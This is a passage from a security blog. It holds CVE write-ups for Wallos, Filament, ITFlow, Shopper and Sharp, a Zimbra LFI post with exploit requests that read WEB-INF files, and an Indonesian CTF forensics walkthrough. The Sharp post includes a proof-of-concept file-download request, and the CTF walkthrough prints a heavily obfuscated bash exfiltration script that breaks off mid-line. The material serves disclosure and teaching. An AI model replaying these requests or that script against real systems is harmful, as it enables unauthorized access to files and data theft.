Fixer/API Layer credential **globally**, instead of loading the credential for the authenticated user making the request. That meant a normal authenticated user with **no provider key of their own** could still trigger exchange-rate refreshes using another user's stored provider credential. The raw API key was not returned to the attacker, and that boundary matters. But the attacker could still: - trigger outbound provider requests with another user's stored credential - consume another user's provider quota - update their own exchange-rate data through a credential they did not own That is the kind of bug that looks "small" if you only care about direct key disclosure, but the authorization failure is still real. Ownership of a secret-backed integration matters even when the secret itself is not printed back in the response. The advisory made the root cause very blunt: ```sql SELECT api_key, provider FROM fixer ``` There was no user scoping in that query. That is what made the endpoint consume another user's provider row. And the affected request path itself was tiny: ```http POST /endpoints/currency/update_exchange.php force=true ``` The public advisory lists it as: - CVE: `CVE-2026-50199` - Severity: `Moderate` - CVSS: `4.3` - Vector: `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N` - Affected: `4.9.0` - Patched: `4.9.1` ## The shared pattern Both bugs came from the same broad problem: - user A's state was allowed to influence user B's outcome - the app trusted a cross-user reference later than it should have - the normal UI boundaries did not match what the backend actually accepted `CVE-2026-50198` leaked derived financial data through a foreign subscription reference. `CVE-2026-50199` let one user spend and use another user's integration credential indirectly. Different impact, same smell. ## References - [GHSA-hggr-v8rm-c6jj / CVE-2026-50198](https://github.com/ellite/Wallos/security/advisories/GHSA-hggr-v8rm-c6jj) - [GHSA-5wf4-m4hj-rxj5 / CVE-2026-50199](https://github.com/ellite/Wallos/security/advisories/GHSA-5wf4-m4hj-rxj5)

a neat little cve in filament

b4r — Mon, 25 May 2026 00:00:00 GMT

## TL;DR I got another CVE, this time in **Filament**: **CVE-2026-48067**. This one was not loud at all. No RCE, no auth bypass that immediately screams at you, no weird gadget chain. Just a scope mismatch in `AttachAction` and `AssociateAction`. It is the kind of bug that looks normal from the panel, right up until you stop trusting the UI and start poking the actual request flow. ## The bug Filament lets developers use `recordSelectOptionsQuery()` to scope what records appear inside the `Select` field for `AttachAction` and `AssociateAction`. So on the surface, everything looked fine. The dropdown only showed records that were supposed to be selectable. The problem was that the built-in validation rule did **not** enforce the exact same scope. So if a user could trigger `AttachAction` or `AssociateAction`, they could tamper with the Livewire state and submit a record that never should have passed the original scope restriction. That is really the whole bug: - the UI was scoped - the validation was not scoped the same way And once those two drift apart, the UI stops being a security boundary. The advisory itself kept the root cause short, and honestly that was enough: ```php recordSelectOptionsQuery() AttachAction AssociateAction ``` That trio is the whole story here. The options query shaped the dropdown, but the built-in validation behind the submitted value did not keep the same boundary. ## Why it matters This kind of bug is easy to overlook. At first glance, everything looks scoped correctly: - the select only shows allowed records - the action behaves normally in the panel - the scoping code gives a false sense of safety But once you treat the request as attacker-controlled, the issue becomes pretty obvious. If the validation layer is not applying the same restriction, then the filtered dropdown is just presentation. It is not real enforcement. ## What an attacker gets According to the advisory, a user with permission to trigger `AttachAction` or `AssociateAction` could tamper with the Livewire state and submit a record ID that should have been out of scope. So this is not really a disclosure bug. It is more of an **integrity** problem. The public CVSS reflects that pretty well: - Attack vector: `Network` - Attack complexity: `Low` - Privileges required: `Low` - User interaction: `None` - Confidentiality: `None` - Integrity: `High` - Availability: `None` Vector: ```text CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N ``` ## Affected packages and versions The advisory lists three affected package lines: - `filament/actions` `>= 4.0.0, < 4.11.3` - `filament/actions` `>= 5.0.0, < 5.6.3` - `filament/tables` `>= 3.0.0, < 3.3.50` Patched versions: - `filament/actions` `>= 4.11.4` - `filament/actions` `>= 5.6.4` - `filament/tables` `>= 3.3.51` ## Fixed version This issue was patched in: - `filament/actions` `4.11.4` and `5.6.4` - `filament/tables` `3.3.51` The CVE assigned to this advisory is: - `CVE-2026-48067` ## Reference - [GHSA-7q3w-xqjw-g3cr / CVE-2026-48067](https://github.com/filamentphp/filament/security/advisories/GHSA-7q3w-xqjw-g3cr)

cross-tenant credential disclosure in itflow

b4r — Mon, 25 May 2026 00:00:00 GMT

## TL;DR This one came from **ITFlow** and ended up as **CVE-2026-47755**. The bug was simple in a very bad way: a low-privileged authenticated agent could request another client's credential edit modal directly and get back decrypted secrets that should never have been exposed to them. Not hashed junk. Not partial leakage. Actual useful stuff: - plaintext passwords - usernames - TOTP seeds - and even live TOTP values through a related endpoint ## The vulnerable endpoint ```http GET /agent/modals/credential/credential_edit.php?id= ``` According to the advisory, the endpoint only required an authenticated session and then looked up the requested credential directly by ID. That means the attack path was basically: 1. log in as a low-privileged agent 2. keep the valid session cookies 3. request another tenant's `credential_id` 4. receive decrypted secrets inside the returned modal HTML That is about as straightforward as it gets. The advisory also included the key backend shape behind it: ```sql SELECT * FROM credentials WHERE credential_id = $credential_id LIMIT 1 ``` That tells you exactly why the bug worked. The lookup was direct, and there was no tenant scoping in front of it. ## What was missing The core problem was object-level authorization. The advisory explicitly says the endpoint did **not**: - call `enforceClientAccess()` - verify that the credential belonged to a client the current user was allowed to access - stop decrypted secret material from being rendered back into the HTML response So even though the restricted user was scoped correctly in the visible UI, the modal endpoint ignored that tenant boundary. The returned modal evidence was also unusually clear. The advisory showed the HTML coming back with fields like: ```html ``` That is the kind of response body that leaves very little room for argument. ## Why the impact is real This was not just "you can see a name you should not see." The returned modal could include: - credential username - credential password - OTP secret And the advisory also notes a related endpoint that could leak the **live TOTP token** cross-tenant too. At that point, this is not a cosmetic tenant-isolation issue anymore. It is direct secret disclosure across clients. ## The exploit path The restricted user could not see Client Two in the normal interface, but could still request `credential_id=2` directly and recover the secret material from the modal response. That kind of before-and-after is always good evidence: - normal UI says access is restricted - direct object request proves the restriction is fake ## Severity and CVSS The public advisory lists this as **Moderate** with: ```text CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N ``` Which makes sense here. This is an authenticated bug, but once you have the low-privileged session, the exploitation is direct and the confidentiality impact is high. ## Affected version The advisory lists: - Package: `itflow-org/itflow` - Affected: `<= 26.04` - Patched: `None` So at the time of the public advisory, there was **no patched version** listed yet. ## Reference - [GHSA-987x-g5f9-2rpq / CVE-2026-47755](https://github.com/itflow-org/itflow/security/advisories/GHSA-987x-g5f9-2rpq)

six cves in one open-source e-commerce project

b4r — Fri, 22 May 2026 00:00:00 GMT

## TL;DR I recently got **six CVEs** in **Shopper**, an open-source e-commerce platform built on Laravel. The useful part was the spread. It was not one bug pattern repeated six times. In the same codebase, I ended up with: - authorization bypasses - RBAC privilege escalation - discount race conditions - IDOR - sensitive data disclosure - stored XSS All six were fixed in **`2.8.0`**, so the affected range is basically everything **before `2.8.0`**. ## The six CVEs | CVE | Severity | Summary | | --- | --- | --- | | [CVE-2026-47740](https://github.com/shopperlabs/shopper/security/advisories/GHSA-f946-9qp6-vgch) | High | Missing authorization on order mutation actions in the admin panel allowed low-privilege authenticated users to mutate order state without the required write permissions. | | [CVE-2026-47741](https://github.com/shopperlabs/shopper/security/advisories/GHSA-9rh9-hf3w-9fgg) | Moderate | A discount race condition allowed silent over-redemption under concurrent checkout pressure, and the per-user usage limit logic was effectively bypassed. | | [CVE-2026-47742](https://github.com/shopperlabs/shopper/security/advisories/GHSA-h4mp-g9c6-xwph) | Moderate | Product editor sub-form Livewire components accepted unauthorized `store()` actions, so authenticated panel users could modify product data without the required permission. | | [CVE-2026-47744](https://github.com/shopperlabs/shopper/security/advisories/GHSA-c3qp-2ggw-xjg7) | Critical | Team settings contained authorization defects that let authenticated panel users take over the RBAC system itself. | | [CVE-2026-47745](https://github.com/shopperlabs/shopper/security/advisories/GHSA-fxqw-97cc-7g5c) | Moderate | Payment methods, currencies, and carriers exposed inline toggles and record actions without proper per-action authorization checks. | | [CVE-2026-47743](https://github.com/shopperlabs/shopper/security/advisories/GHSA-hr9v-r8r2-hg7j) | High | Multiple admin Livewire issues led to data tampering, sensitive data disclosure, and stored XSS. | ### CVE-2026-47744 This was the standout one for me. It was not just "one missing check." It was a team settings issue that let an authenticated panel user get into RBAC territory they were never supposed to control. According to the advisory, the two main problems were: - `Settings/Team/Index` missing `mount()` authorization - `Settings/Team/RolePermission` using a read-only permission to guard write actions Once I saw that, it was obvious this was not just another admin panel auth bug. If you can mess with team permissions, you are not attacking one feature anymore. You are attacking the permission model itself. The technical core of that one was easy to summarize: ```php Settings/Team/Index::mount() Settings/Team/RolePermission view_users manage_users ``` One page skipped the mount-time authorization entirely, and the other one guarded write actions with the wrong permission. ### CVE-2026-47741 This one was fun for a different reason. It was a **race condition** on discount usage limits, not a simple access control miss. The kind of bug that is easy to underestimate, because the app still "looks fine" in normal usage. But once you think about concurrent checkout pressure, the whole thing changes. A merchant can silently over-accept discounted orders even though the configured `usage_limit` says otherwise. There was also a related problem around per-user limits not being counted the way the validation logic expected. So it was not just a race, it was also bad accounting. There is no flashy exploit chain here. It is broken business logic with real money impact. The advisory tied that one to the checkout path directly: ```php CreateOrderFromCartAction::execute DiscountDetail.total_use usage_limit usage_limit_per_user ``` That is the kind of code path I always like to see in a writeup, because it makes the failure mode much more concrete than just saying "coupon race condition." ### CVE-2026-47743 This one bundled three bug classes together: - IDOR via unlocked Livewire properties - plaintext password exposure through a hidden field flow - stored XSS on product barcode That is a pretty good example of why I keep an eye on Livewire-heavy admin panels. Once a component starts trusting client-controlled state too much, weird things happen fast. The stored XSS part was especially nice because it was not buried in some exotic sink. It was sitting on product barcode rendering. The vulnerable pieces the advisory called out were: ```php #[Locked] Customers/Create::store() DNS1DFacade::getBarcodeHTML() {!! !!} ``` That bundle is useful because it shows the three separate bug classes without needing to dump the entire component code. ### The rest of the set The other three CVEs were less dramatic individually, but together they painted a very clear picture: - `CVE-2026-47740` showed missing authorization on order mutation actions - `CVE-2026-47742` showed the same kind of trust problem on product editor sub-forms - `CVE-2026-47745` showed per-action authorization gaps on payment methods, currencies, and carriers So the pattern was not isolated. It repeated across different admin workflows. The advisory pages were still specific enough to leave a technical breadcrumb trail: ```php cancel, markPaid, markComplete, capturePayment ->visible() ->authorize() store() edit_products edit_payment_methods edit_currencies edit_carriers ``` So even in the "simpler" bugs, you could still see the same repeated smell: action methods and component handlers were present, but the real per-action permission gate was missing or too weak. That is usually what makes a target really satisfying to audit: not just one lucky bug, but a repeated failure pattern. ## The pattern across the set This was not six copies of the same bug. It was: - access control failures - privilege escalation - race condition logic bugs - component state abuse - data exposure - XSS That is the kind of set that makes a target memorable. ## Fixed version All six advisories were patched in **`2.8.0`**. So if you are just tracking the affected line for writeup purposes, the clean boundary is: - affected: versions before `2.8.0` - patched: `2.8.0` ## CVE mapping - `CVE-2026-47740` - [GHSA-f946-9qp6-vgch](https://github.com/shopperlabs/shopper/security/advisories/GHSA-f946-9qp6-vgch) - `CVE-2026-47741` - [GHSA-9rh9-hf3w-9fgg](https://github.com/shopperlabs/shopper/security/advisories/GHSA-9rh9-hf3w-9fgg) - `CVE-2026-47742` - [GHSA-h4mp-g9c6-xwph](https://github.com/shopperlabs/shopper/security/advisories/GHSA-h4mp-g9c6-xwph) - `CVE-2026-47743` - [GHSA-hr9v-r8r2-hg7j](https://github.com/shopperlabs/shopper/security/advisories/GHSA-hr9v-r8r2-hg7j) - `CVE-2026-47744` - [GHSA-c3qp-2ggw-xjg7](https://github.com/shopperlabs/shopper/security/advisories/GHSA-c3qp-2ggw-xjg7) - `CVE-2026-47745` - [GHSA-fxqw-97cc-7g5c](https://github.com/shopperlabs/shopper/security/advisories/GHSA-fxqw-97cc-7g5c)

my first CVE, CVE-2026-44692

b4r — Fri, 08 May 2026 00:00:00 GMT

## TL;DR I found an authorization flaw in **code16/sharp** that was later assigned **CVE-2026-44692**. Sharp exposes a generic download endpoint that authorizes only the supplied entity instance, but then reads a client-supplied `disk` and `path` from Laravel Storage. Because the requested storage object is not bound to the authorized entity instance, an authenticated Sharp user who can view one valid record can use that record as an authorization anchor to download unrelated disk-relative storage objects from configured Laravel Storage disks. In the tested version, `downloads.allowed_disks` defaults to `*`, which allows access to any configured Laravel disk unless the application explicitly restricts it. The confirmed impact is authenticated disclosure of unrelated storage objects from configured Laravel Storage disks. I did **not** confirm arbitrary host filesystem access outside configured disk roots. ## Affected package - Package: `code16/sharp` - Affected versions: versions before `9.22.0` - Patched version: `9.22.0` - Tested version: `9.21.1` - CVE: `CVE-2026-44692` - Severity: `High` The tested version was identified from `src/SharpInternalServiceProvider.php:63`. The checkout I used during testing was not a git repository, so there was no commit hash available. ## CVSS v3 base metrics | Metric | Value | | --- | --- | | Attack vector | Network | | Attack complexity | Low | | Privileges required | Low | | User interaction | None | | Scope | Changed | | Confidentiality | High | | Integrity | None | | Availability | None | **Vector:** `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N` ## Affected component - `src/routes/web.php:63` - `src/Http/Controllers/Api/DownloadController.php:11-29` - `src/Config/SharpConfigBuilder.php:119-120` - `src/SharpInternalServiceProvider.php:225-229` ## Vulnerable endpoint ```http GET /sharp/{globalFilter}/download/{entityKey}/{instanceId?} ``` At a high level, the endpoint authorizes access to the supplied Sharp entity instance first, but the storage object being downloaded is not tied to that authorized record. So if the application accepts a valid Sharp record for authorization, and the request can still influence the target `disk` and `path`, the user may retrieve a different object from an allowed storage disk. ## Attacker requirements The attacker needs: - an authenticated Sharp session - view access to at least one valid Sharp entity instance The attacker does not need access to the storage object being downloaded. ## Root cause The download endpoint performs authorization only against the provided `entityKey` and `instanceId`. After the view check succeeds, the controller reads `disk` and `path` directly from the request and returns the object from Laravel Storage. There is no authorization check that verifies whether the requested disk-relative storage object belongs to the authorized entity instance. With the default `downloads.allowed_disks = '*'`, the attacker can also select any configured Laravel disk. ## Source-to-sink trace The vulnerable flow is: authenticated Sharp user with view access to one valid entity instance -> `GET /sharp/{globalFilter}/download/{entityKey}/{instanceId?}` -> view authorization check on `entityKey` + `instanceId` -> `disk` and `path` read from request query parameters -> `Storage::disk($disk)->get($path)` -> response returns the selected storage object Relevant implementation points: - the download route is registered in `src/routes/web.php:63` - Sharp loads its web routes by default through `src/SharpInternalServiceProvider.php:225-229` - the default download disk policy is `downloads.allowed_disks = '*'` in `src/Config/SharpConfigBuilder.php:119-120` - `DownloadController` authorizes only `view` on the supplied entity instance - `disk` and `path` are read from request query parameters - the response is built from `Storage::disk($disk)->get($path)` - no path-to-record binding is enforced before returning the file The missing security control is a file-level authorization check that binds the requested storage object to the authorized entity instance. ## Runtime validation I verified the issue at runtime with a framework test that exercised the real Sharp route, middleware stack, authenticated session handling, authorization check, and controller execution. This was not a direct unit invocation of the controller. The reproducer used: - Orchestra Testbench with the real Sharp service provider - a Sharp entity named `posts` - a per-record view policy - one authenticated Sharp user - one authorized record: `posts/1` - one unauthorized record: `posts/2` - a `local` disk containing an unrelated object: `private/backups/customers.csv` - an `archive` disk containing an unrelated object: `secrets.txt` The test suite passed: ```text OK (6 tests, 16 assertions) ``` This confirmed the issue was reachable through the real framework route and controller path. ## Confirmed exploit path The authenticated Sharp user was allowed to view `posts/1`. That valid record could then be used as the authorization anchor while requesting an unrelated object from the `local` storage disk. ## Proof of concept ```http GET /sharp/default/download/posts/1?disk=local&path=private/backups/customers.csv HTTP/1.1 Host: target.local User-Agent: Mozilla/5.0 Cookie: laravel_session=ATTACKER_SESSION Connection: close ``` ### Actual result The server returned `200 OK` and the contents of the unrelated storage object: ```text customer_id,email 7,bob@example.test ``` The response also included file download headers, including a content disposition for attachment download. As supplementary evidence, the same authenticated Sharp user could also read an unrelated object from another configured Laravel disk when `downloads.allowed_disks` remained at its default value: ```http GET /sharp/default/download/posts/1?disk=archive&path=secrets.txt ``` Result: ```text 200 OK archive-secret ``` ### Expected result The endpoint should only return storage objects associated with the authorized entity instance, or require a file-level authorization check before returning the object. ## Negative controls I also verified the following controls: - invalid `entityKey` returned `404` - unauthorized `instanceId` returned `403` - restricting `downloads.allowed_disks` to `['public']` caused the same `disk=local` request to return `403` - path traversal outside the local disk root was not confirmed ## Impact This is an authenticated cross-record / cross-feature storage object disclosure issue. A Sharp user with view access to one valid entity instance can download unrelated objects from configured Laravel Storage disks. In real applications, those disks may contain: - exports - backups - invoices - internal documents - uploaded files belonging to other records - tenant-specific data - operational or administrative files stored in private application disks The confirmed impact is limited to configured Laravel Storage disks. I did not confirm arbitrary host filesystem access outside configured disk roots. ## Limitations and assumptions - The confirmed scope is configured Laravel Storage disks, not arbitrary host filesystem paths. - Path traversal outside a local disk root was not confirmed. - Impact depends on sensitive objects existing on configured disks. - If an application explicitly restricts `downloads.allowed_disks`, exposure can be reduced. - Disk allowlisting reduces the reachable storage surface, but does not fix the missing per-record file binding. ## Package-level impact This appears to be a package-level authorization flaw that applications may inherit through Sharp's default route and controller flow. A valid record-level view permission can be reused as an authorization anchor for unrelated storage objects. Applications using the generic download endpoint with the default `downloads.allowed_disks = '*'` behavior may expose disk-relative objects from configured Laravel Storage disks unless they add compensating controls. ## Patch The fix in `9.22.0` uses signed URLs for Sharp-generated download links. After the patch, changing parameters such as: - `disk` - `path` - `entityKey` - `instanceId` invalidates the signature, so the modified request is rejected instead of returning a different storage object. ## Recommended fix The endpoint should not accept raw client-controlled `disk` and `path` values as the authorization basis for file downloads. Recommended fixes: - replace `disk` and `path` query parameters with an opaque server-generated file identifier - resolve the storage object server-side from the authorized entity instance - enforce per-record file ownership or binding before returning the object - keep disk allowlisting, but do not rely on disk allowlisting as the only security control - prevent cross-disk access unless explicitly required and authorized - return a handled `403` or `404` for invalid, unbound, or traversal-like paths A safer design would make the download endpoint derive the storage location from the authorized record or from a server-side file registry, rather than accepting the storage location directly from the request. ## Workarounds If upgrading is not possible immediately, the practical short-term mitigations are: - reduce `downloads.allowed_disks` to the smallest set possible - avoid storing unrelated sensitive files on disks reachable through Sharp downloads - add application-level checks that bind the requested file to the authorized record These measures reduce exposure, but they do not fully solve the missing per-record file binding issue. ## References - GHSA: `GHSA-748w-hm6r-qc7v` - CVE: `CVE-2026-44692` - Laravel signed URLs: [https://laravel.com/docs/urls#signed-urls](https://laravel.com/docs/urls#signed-urls) - CWE-639: [https://cwe.mitre.org/data/definitions/639.html](https://cwe.mitre.org/data/definitions/639.html)

how one cve turned into multiple csirt.go.id certs

b4r — Tue, 10 Mar 2026 00:00:00 GMT

While hunting for vulnerabilities on several **csirt.go.id** programs, I discovered that many of them were running **Zimbra**. After some testing, I realized that a large number of these instances were vulnerable to **CVE-2025-68645**. Because the same vulnerability appeared across multiple targets, it quickly turned into multiple valid reports and eventually multiple certificates. ## What is CVE-2025-68645? CVE-2025-68645 is a **Local File Inclusion (LFI)** vulnerability affecting **Zimbra Collaboration Suite (ZCS) versions 10.0 and 10.1**, specifically within the **Webmail Classic UI**. The vulnerability originates from improper handling of user-supplied parameters inside the `RestFilter` servlet exposed through the `/h/rest` endpoint. Due to insufficient input validation, attackers can manipulate request parameters to include arbitrary files located inside the **WebRoot directory**. In certain scenarios, this allows **unauthenticated remote attackers** to retrieve sensitive files from the server, potentially exposing internal configuration files and application resources. ## Vulnerability Root Cause The issue exists because the `RestFilter` component does not properly validate the file path provided through request parameters. When a request is sent to `/h/rest`, the application attempts to resolve the requested resource relative to the WebRoot directory. However, directory traversal sequences are not properly restricted. This allows attackers to manipulate the request path and access files that should not normally be exposed through the web interface. As a result, the application becomes vulnerable to **Local File Inclusion (LFI)**. ## Affected Versions The vulnerability affects: - Zimbra Collaboration Suite **10.0.x** - Zimbra Collaboration Suite **10.1.x** Instances running the **Classic Webmail UI** with the `/h/rest` endpoint exposed may be vulnerable. ## How to Exploit CVE-2025-68645 The vulnerability can be triggered by sending a crafted HTTP request to the `/h/rest` endpoint with a manipulated servlet include path. Example request: ``` GET /h/rest?javax.servlet.include.servlet_path=/WEB-INF/web.xml ``` If the target is vulnerable, the server will return the contents of the requested file instead of blocking access. In some cases, the server may respond with **403 Forbidden** depending on the file being accessed. When that happens, it is often possible to retrieve other files within the WebRoot directory. For example: ``` GET /h/rest?javax.servlet.include.servlet_path=/WEB-INF/jetty-env.xml ``` If successful, the response may reveal internal configuration data that can help with further reconnaissance. In total, i got 6 certificates from this vulnerability (you can skip this, cus i just want to flexing my certs lol). ## Certs: ### Komisi Penyiaran Indonesia ![](kpi.png) ### Pemerintah Daerah Kabupaten Purbalingga ![](purbalingga.png) ### Dinas Komunikasi, Informatika dan Statistik Provinsi DKI Jakarta ![](dki.png) ### PT Transportasi Jakarta ![](tj.png) ### Pemerintah Daerah Kabupaten Gunungkidul ![](gunungkidul.png) ### Pemerintah Daerah Kabupaten Tulungagung ![](tulungagung.png)

aseng forensic challs always give me a new insight

b4r — Tue, 17 Feb 2026 00:00:00 GMT

import PdfViewer from '@/components/PdfViewer.astro' Jadi, pada saat Cyber Jawara Quals 2025 kemarin, lebih tepatnya pada tanggal 25 Desember 2025, gw ngerjain soal foren mas aseng yang berjudul `Unorthodox Part 1` dan berujung upsolve (solve diluar jam lomba) karna gw stuck di pertanyaan terakhir... dan baru solve saat gw sendiri nanyain soal itu ke author nya (aseng) dan gw dpet insight baru dari chall ini. Di chall ini kita diberi sebuah zip artifact ![](unzipl.png) dan berisikan dist.zip, dan dist nya berisikan ![](unzipl1.png) ini isi pdf nya ![CJ-UNORTHODOX-CASE-1.pdf](/files/cjquals2025/CJ-UNORTHODOX-CASE-1.pdf) Jadi disini, kita dikasih 3 files utama, yaitu `CoreStock.ova`, `PCAP_Captured.pcap`dan `exfiltrated.bin` ## Setup disini untuk langkah awalnya kita perlu setup dulu ![](tarxvf.png) trus Convert VMDK → RAW pakai qemu-img ```bash qemu-img convert -f vmdk -O raw CoreStock-disk002.vmdk CoreStock.raw ``` dan tinggal di mount raw nya ```bash sudo losetup -P -f --show CoreStock.raw sudo pvscan sudo vgscan sudo vgchange -ay ubuntu-vg sudo mount /dev/ubuntu-vg/ubuntu-lv mnt_core ``` ## Q1: Provide the current state SHA1 checksum of /etc/passwd and /etc/shadow files respectively. ![](q1.png) Answer: `b4e536869564e1b32dfd60ea90bc45227a289c3c:e9b3129a2209be30fb0ba6ceb61e5c0ee4e47c70` ## Q2: What's the IP address of the internal threat actor (local) who's responsible to exfiltrate a certain data to their controlled website/API endpoint? Disini kita pake file `.pcap` nya, karna dipertanyaan nya mention website, berarti kita hanya perlu filter ip yang berada di protocol http ![](q2.png) Answer: `192.168.100.107` ## Q3: What's the path of the attacker controlled endpoint that receives the data? Disini masih pake PCAP nya, pake wireshark nya coba follow stream ke protocol TCP, dan nnti dibagian stream ke 2 akan ada request dan response http ![](q3.png) Answer: `/looters` ## Q4: What's the full absolute path of the targeted directory that the internal threat actor exfiltrates from? di dalam direktori user cj terdapat file bernama `frmstarter.script` ![](q4.png) bisa kita lihat, bahwa absolute path nya terdapat di direktori `/home/cj/core_app/company_secret` Answer: `/home/cj/core_app/company_secret` ## Q5: Where is the malicious exfiltrator script located? jika kita `ls -la` di direktori user cj ![](q5.png) jika kita cek direktori `.ssh`, terdapat sebuah `malicious` script bernama `rc` berisikan kode berikut: ```bash #!/bin/bash base64 -d <<'EOF' | bash    ${*~~}  ba$'\u0073h'  ${@,}   ${@%%-4UIR\(e}  <<<   "$(   ${*//wb_>/$\!2W#$x\)}  ${@%%xXtbrzpS}   p${*##U*Zp}r""${*#f\+E@}intf "\x$(  ${@~}  ${@/.dp|>u2\(/s\}K\(\J2}  p\ri\n$'t\146'   %s '`0YTgh'  "${@}"   ${@/\{\(c?l^} | "${@~~}"   md5\s${@#y1F^?p,F}um "${@~}"  ${@^}  | "${@^}"  ${*~}  c""ut   -b $((  (-(-(-4"${@//kZo8J\)$/sj31eiP\`}"3${@#,5qUa,\)t}#${*/u|#\)Jq}k-"${@,,}"-"5"1#${*#1M\(R}J)+45#0))  ))-$((  (("-"7${@##L3NF}#54+"-"12#17)+21${*^^}#"4"0) ))   ${*,,} "${@,}"   )"  "${@,,}"  ${@~~}  ; ${@^^}  "${@~~}"pr""i$'\156'\t$'\x66'  "\x$(  "${@//P\!6f^,X}"  \pr''i\n${*^}t\f %s 'Q<_c'   ${*%%z>3w%+}   |  "${@/E;PaG#/Fi0i}"  m$'\144'${@^}5"s"u""m ${*//U2Uo\[H} ${*~~} |   ${*,}  "${@~}"   \c\u't'   -b   $[  ((39#"2"+-3"#"10)+"6"#${*%%6U<j\d$}10) ]-$[  (-(-("2""2"#${@~~}0+4#"1"3)+"3""0"#1)) ]   ${*/7w0nkpR} )" ${*}   && ${@//n\]Tb/@9G%M}   pri"n"tf  "\x$(  ${*,}  ${*,}  $'\x70r'''$'\u0069'n$'\u0074'"${@,}"f   %s   'wD5+R\0Z'   ${*^} |  ${*%%=38T^y}  "m""d"$'5\u0073'${*%%WTnN}um ${*} |  $*   "${@/_\!%G}"c'u'${*~~}t  -b $((   ((-27#c+${*,}55#d)+2#${*#j:\)|%}110)  ))-$((  ((-"3"3#"2"*23"#""2")+37#c) ))  "${@//\)r\`r/$NE2}"  )" ${*^}   $* ; ${*//rUD&I}  p\ri$'\x6e\164'\f  "\x$(   ${@##xq;Xm} "${@/En0&C<:*}"   'p'''\r${*/N3bm/Q\}:\[}i''ntf   %s 'PrdC'  ${@/?>9.%n} |   ${@,,}   ${@~} md$'\x35'${@~}su''\m   ${@##gHIN\}H} |   ${*//O@aRZzk}   ${*##,GsB}  c"${@^^}"u${*//+\)\`Z:*\r/_YMq}t   -b   $((  ((12#"${@,,}"0*2${*/4rv#&\`L|}#0)+"8"${*%\{t>%1%_}#1)   ))-$((  ((-7#1*59${@%%\!qPh;<01}#0)+3"1"#2) )) ${!@} ${*//E\"v*}   )" ${*,,}   &&   ${*//BUfLHg/\]&au}  ""pr""\int\f  "\x$(   "${@,,}"   "${@##<;G&TA}" $'\x70'ri''${*#KCg\]E-5}nt'''f' %s  '>d&L'  ${*~~}   | ${!*}   "${@}" ''"m"d5\s'u'"${@//3x|.vI}"m   ${@^^} |   ${*,}   ${@//pS9y0870}  cu${*/8.+f/#~v<y}t  -b $((  (-(-(61${@/bt7%sra}#"${@/Jr\[Ah/1C-bxO1|}"e+6${@##smL\)b\}^}2#H)+"1"3"#"2"1")) ))-$((   ((${*/\[D<eQQ}-2#11+${*//\(zVd/yl\$}-9"${@#XWsm72\[E}"#1${@##*S^|D6\\}7)+${*,,}27"#"1n) ))  "$@" )"  ${*##1W-~c\)A}   ; ${@,}   ${*//827~/?\)a-?9N}   'p'rint"f" "\x$(  ${!@}  ${@//:bi%|/uX\]H} ""\p${*}r$'\u0069''n't""f   %s 'm;.6:' ${*%%ied^d}  ${*,,} |  "${@^}"   "${@^}"  """${@/zfgY/NJInL<hw}"m"d"5s\u"${@%@Ey?MR}"m  ${@/sE\]|4N}   ${*#<\(p_DKC}   |  ${@%VGJl$}  $'\u0063'\u't'  -b   $(( ((-53#a+-5#${*//4\)ml*AQ/FOs3\(}10)+49#${*%%K&Sj;wQ}l)   ))-$((   (("-"5"${@#~eg*,}"7#1-23#1)+4#"${@##r1rw}"21) )) ${*//uf^f/1N\!Iv1} )"  ${*/\}-CV:_o/vw#3} &&  ${*//35B?G6}   p$'\x72''i'nt${@//\)\s:3pi}f  "\x$( ${*/FL6sx@z4/IGW<WP}   ${*/kWI%s\{V}  ''"p"r\i$'\u006e'"""t"${*/\[=\`\M}f %s 'BY"0'  ${@,,} "${@%%Ie7Y_Mrq}"   |   ${*%g7,3} "${@^}"   m$'\144'$((  (("4""${@,}"9#"0"*39#"1")+4"#"11)   ))$@s'u'm   ${@,,}  "${@//.r$4GQ6/\):SF,\`;}"   |   ${*~~} \cu't'   -b  $[ ((-${*^^}8"#"16+3#10${*//87AVaWZ/W5fmG}0)+4${@,,}8"#"A)  ]-$((   (-(-(51#b+${@%;FeS^E}38#"1""e")+${*~}14"#"23))  ))   ${*/jbb;zX,/0\}9\(Y+}   ${*/SL6P88}   )"  ${@^}   ; $@   pri"n"tf   "\x$(   ${!*}  ${*~} p$'\x72'in""t""$'\u0066'   %s  '\@!niI3C'  ${@}  "${@//BX\};A}"   | ${*,,} ${*,,} m""d""$[ ((54#1*"-"2${*/kA3f}4"#"1)+6"#"1"0") ]''\s$'\x75'$'\155'  ${!@}   "${@^}"  |   ${*^}  \cu"${@//gTF?5g}"t  -b   $((   (-(-("3"2"#"f-"4""#"11)+1"4""#"1)) ))-$[  ((-3#"${@%~1\Mu3S}"1"1"*42#1)+13#11)   ]  "${@~}"   ${*~}  )"   ${*//8Ii7=/-QA%O} &&  ${*%gnI6k1M\(}  ${*%vY\(&*} \p''rin''t'f'  "\x$( ${*#CNg.zng} "${@/cv\!U/_NGzM6:B}"  \p""r\intf  %s  'J!@X'   "${@#78\[zl39w}"  ${*//ayPHv/|n3?UO>K}   |  ${!@}   "${@~~}"   md$(( ((3#2*"3"7#0)+3"#"12)  ))$'\u0073'$'\165'\m   "${@/...n\]Ns/y;O@&gES}"  ${@,}   |  "${@^^}"   $'\x63u'""${*/1^kD}t -b  $(( ((${!@}2"#"${@~~}11*51"#"${!*}2)+"${@/\!#_EB\`K/,j\[Uun}"6#11)  ))-$((   ((-20#${*/oWG<d/KNVM\)t$}g+58"#"e)+4"${@%%P\[wI51Sd}"6#g)  ))  ${*,,} )" ${@//7r\}85/#YRp} ${@%IFOh}  ; ${@#Ghk,\rq\)} pr'i'\n"${@##x\(\(Eb}"t'f'   "\x$(   ${@#Ys_s7F,}  "${@##|*o6}"  \pr""int${*~~}f %s ')iWk'   "${@/~\(cqrf/&\(#\"\`3B}" |  "${@~}"   m"${@,}"d5s"u"\m  ${*~~}  |   "${@,}" $@  "${@/K1DZv9/&Qr$ry7}"c"u"t  -b  $(( (-(-(37#i-"6"${*^}#1${*%5Ayd\`g$}0)+${*^}42${*~~}#1))  ))-$((  (-(-("-"${*~}2${!*}#101*"-"3"#""1"0)+2"#"1"1")) )) ${*,,} "${@,}"   )"   ${@~~}  &&   ${@^} ""p''ri""$'\156t'''\f  